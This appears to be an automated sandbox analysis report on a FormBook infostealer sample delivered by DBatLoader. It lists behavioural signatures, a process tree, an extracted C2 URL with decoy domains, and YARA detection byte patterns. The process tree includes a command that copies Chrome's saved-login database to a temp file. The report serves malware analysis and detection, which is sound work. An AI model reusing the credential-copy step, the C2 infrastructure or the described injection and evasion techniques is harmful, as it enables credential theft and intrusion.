Play interactive tour

Edit tour

Windows Analysis Report WZ454554.exe

Overview

General Information

Sample Name:	WZ454554.exe
Analysis ID:	552851
MD5:	58b39c2620cdda3d3fa6a125f476fc9f
SHA1:	5d2672c79e9dffb2cdeee0d00e406c03c762985c
SHA256:	fdf39d043cc55d6a72b1fe01c9067bb7591d5c379798499148521e6158afeea0
Tags:	exeformbook
Infos:
Most interesting Screenshot:

Detection

FormBook DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected FormBook malware

Multi AV Scanner detection for submitted file

Yara detected FormBook

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Yara detected DBatLoader

System process connects to network (likely due to code injection or exploit)

Multi AV Scanner detection for dropped file

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Modifies the prolog of user mode functions (user mode inline hooks)

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

WZ454554.exe (PID: 6628 cmdline: "C:\Users\user\Desktop\WZ454554.exe" MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

WZ454554.exe (PID: 6936 cmdline: C:\Users\user\Desktop\WZ454554.exe MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

explorer.exe (PID: 3352 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

Hyrzbcwcas.exe (PID: 1840 cmdline: "C:\Users\user\Contacts\Hyrzbcwcas.exe" MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

Hyrzbcwcas.exe (PID: 5708 cmdline: C:\Users\user\Contacts\Hyrzbcwcas.exe MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

Hyrzbcwcas.exe (PID: 7108 cmdline: "C:\Users\user\Contacts\Hyrzbcwcas.exe" MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

Hyrzbcwcas.exe (PID: 6340 cmdline: C:\Users\user\Contacts\Hyrzbcwcas.exe MD5: 58B39C2620CDDA3D3FA6A125F476FC9F)

help.exe (PID: 6656 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

cmd.exe (PID: 4324 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5628 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

help.exe (PID: 5832 cmdline: C:\Windows\SysWOW64\help.exe MD5: 09A715036F14D3632AD03B52D1DA6BFF)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.spiegelpherese.com/m9g2/"], "decoy": ["pubgnewstatedl.com", "guidedwaveradar.com", "onlineexitpoll.com", "mutationdesign.com", "p60p.com", "xhcaijing.com", "skpcart.store", "houseathomes.com", "thenorthdale.com", "kvkkkararozetleri.com", "formecondominium.com", "7808lll.com", "mitchfletcher.com", "thatsawrapfl.com", "glrinternationalfzco.com", "dbmxkgek.com", "feelingfancy.com", "nishieihuku.com", "newearthhg.com", "tenlog040.xyz", "savche.xyz", "solarofoundation.com", "sk8.network", "schooljoy.net", "ioannismitsialisgerman.online", "hooklinen.com", "gorgeousingems.com", "directusimmigration.com", "nexxt.info", "itecsecure.com", "chairsexpert.com", "yandex-check.online", "ivdripspace.com", "sentlogisticsja.com", "mdk-clothing.com", "quick2repair.net", "thisflippingfamily.com", "lu-dra.xyz", "degenape.art", "evodiocese2022scm.com", "churchofrocknroll.com", "visionaryblock.com", "jornalonlinealagoas.com", "rainbow-of-light.com", "oblical.com", "preserveliqueur.com", "morbidthings.com", "panoramaregency.com", "iphone13promax.review", "gongyingmi.com", "xqzs72.com", "sgmoda.com", "boogiereaper.com", "bitesofwellness.online", "backdad.com", "freeimperia.com", "senerants.tech", "029yu.xyz", "dhakhtar.net", "cnclighting.com", "iplmatchwinner.com", "thpt.space", "naris.net", "hamgirls.com"]}

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
WZ454554.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\Contacts\sacwcbzryH.url	Methodology_Shortcut_HotKey	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x58:$hotkey: \x0AHotKey=3 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\Contacts\sacwcbzryH.url	Methodology_Contains_Shortcut_OtherURIhandlers	Detects possible shortcut usage for .URL persistence	@itsreallynick (Nick Carr)	0x14:$file: URL= 0x0:$url_explicit: [InternetShortcut]
C:\Users\user\Contacts\Hyrzbcwcas.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000000.416006494.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x16b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x11a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x17b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x192f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x41c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x78f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x890a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x4819:$sqlite3step: 68 34 1C 7B E1 0x492c:$sqlite3step: 68 34 1C 7B E1 0x4848:$sqlite3text: 68 38 2A 90 C5 0x496d:$sqlite3text: 68 38 2A 90 C5 0x485b:$sqlite3blob: 68 53 D8 7F 8C 0x4983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000000.323155523.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000000.321956986.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.360667337.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000000.322739212.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000015.00000000.417791279.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000000.322356028.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
0000000E.00000000.363228459.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000015.00000000.417110071.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000011.00000000.395638954.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000014.00000002.558403513.0000000002FA0000.00000004.00000001.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000000.398461439.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000011.00000000.397793786.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000000.283008845.0000000000401000.00000020.00020000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8f7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c90a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18819:$sqlite3step: 68 34 1C 7B E1 0x1892c:$sqlite3step: 68 34 1C 7B E1 0x18848:$sqlite3text: 68 38 2A 90 C5 0x1896d:$sqlite3text: 68 38 2A 90 C5 0x1885b:$sqlite3blob: 68 53 D8 7F 8C 0x18983:$sqlite3blob: 68 53 D8 7F 8C
